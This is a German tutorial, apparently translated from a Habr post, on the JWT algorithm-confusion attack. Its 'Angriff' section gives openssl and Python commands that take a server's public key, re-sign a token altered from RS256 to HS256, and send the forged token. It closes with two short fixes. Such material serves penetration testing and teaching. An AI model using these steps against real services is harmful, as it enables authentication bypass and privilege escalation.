Hacke den JWT-Token


Nur für Bildungszwecke! Bestimmt für Hacker Penetrationstester.

Problem


Der Algorithmus HS256 verwendet den geheimen Schlüssel, um jede Nachricht zu signieren und zu verifizieren. Der Algorithmus RS256 verwendet den privaten Schlüssel zum Signieren der Nachricht und den öffentlichen Schlüssel zur Authentifizierung.

Wenn Sie den Algorithmus von RS256 auf HS256 ändern, verwendet der Backend-Code den öffentlichen Schlüssel als geheimen Schlüssel und verwendet dann den HS256-Algorithmus, um die Signatur zu überprüfen. Asymmetrischer Verschlüsselungsalgorithmus => Symmetrischer Verschlüsselungsalgorithmus.

Da der öffentliche Schlüssel manchmal vom Angreifer abgerufen werden kann, kann der Angreifer den Algorithmus im Header auf HS256 ändern und dann den öffentlichen RSA-Schlüssel zum Signieren der Daten verwenden.
Der Backend-Code verwendet den RSA-Algorithmus für öffentlichen Schlüssel + HS256 zur Überprüfung der Signatur.

Beispiel


Die Sicherheitsanfälligkeit tritt auf, wenn die clientseitige Validierung folgendermaßen aussieht:

const decoded = jwt.verify( token, publickRSAKey, { algorithms: ['HS256' , 'RS256'] } //accepted both algorithms ) 

Nehmen wir an, wir haben ein anfängliches Token wie unten dargestellt und "=>" erklärt die Änderung, die der Angreifer vornehmen kann:

 //header { alg: 'RS256' => 'HS256' } //payload { sub: '123', name: 'Oleh Khomiak', admin: 'false' => 'true' } 

Der Backend-Code verwendet den öffentlichen Schlüssel als geheimen Schlüssel und verwendet dann den HS256-Algorithmus, um die Signatur zu überprüfen.

Angriff


1. Erfassen Sie den Datenverkehr und das gültige JWT-Token (Beispiel einer NCC-Gruppe).

 eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3NzI5NzgyLCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.gTlIh_sPPTh24OApA_w0ZZaiIrMsnl39-B8iFQ-Y9UIxybyFAO3m4rUdR8HUqJayk067SWMrMQ6kOnptcnrJl3w0SmRnQsweeVY4F0kudb_vrGmarAXHLrC6jFRfhOUebL0_uK4RUcajdrF9EQv1cc8DV2LplAuLdAkMU-TdICgAwi3JSrkafrqpFblWJiCiaacXMaz38npNqnN0l3-GqNLqJH4RLfNCWWPAx0w7bMdjv52CbhZUz3yIeUiw9nG2n80nicySLsT1TuA4-B04ngRY0-QLorKdu2MJ1qZz_3yV6at2IIbbtXpBmhtbCxUhVZHoJS2K1qkjeWpjT3h-bg 

2. Token mit Burp Decoder dekodieren

Die Struktur lautet header.payload.signature, wobei jede Komponente base64-codiert ist, wobei das URL-sichere Schema verwendet wird und alle Auffüllungen entfernt werden.

 {"typ":"JWT","alg":"RS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547729782,"data":{"hello":"world"}} 

3. Ändern Sie den Header alg in HS256

 {"typ":"JWT","alg":"HS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547799999,"data":{"NCC":"test"}} 

4. Konvertieren Sie zurück in das JWT-Format

 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0 

Header und Nutzlast bereit zu gehen :)

5. Kopieren Sie das Serverzertifikat und extrahieren Sie den öffentlichen Schlüssel

Alles was fehlt ist die Signatur und um zu berechnen, dass wir den öffentlichen Schlüssel benötigen, den der Server verwendet. Es könnte sein, dass dies frei verfügbar ist.

 openssl s_client -connect <hostname>:443 

Kopieren Sie die Ausgabe des "Serverzertifikats" in eine Datei (z. B. cert.pem) und extrahieren Sie den öffentlichen Schlüssel (in eine Datei namens key.pem), indem Sie Folgendes ausführen:

 openssl x509 -in cert.pem -pubkey –noout > key.pem 

Lassen Sie es uns in ASCII hex verwandeln:

 cat key.pem | xxd -p | tr -d "\\n" 

Indem wir den öffentlichen Schlüssel als ASCII-Hex für unsere Signaturoperation angeben, können wir die Bytes sehen und vollständig steuern

 echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0" | openssl dgst -sha256 -mac HMAC -macopt hexkey: 

Die Ausgabe - dh die HMAC-Signatur - lautet:

 db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f 

Ein Einzeiler, um diese ASCII-Hex-Signatur in das JWT-Format umzuwandeln, ist:

 python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f')).replace('=','')\")" 

Die Ausgabe ist unsere Signatur:

 2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8 

Fügen Sie es einfach unserem modifizierten Token hinzu:

 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0.2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8 

6. Senden Sie das geänderte Token an den Server.

Auflösung


1. Verwenden Sie nur einen Verschlüsselungsalgorithmus (falls möglich)



2. Erstellen Sie verschiedene Funktionen, um verschiedene Algorithmen zu überprüfen



Referenzen


1. medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6
2. www.youtube.com/watch?v=rCkDE2me_qk (24:53)
3.auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries
4. www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through

Source: https://habr.com/ru/post/de450054/


All Articles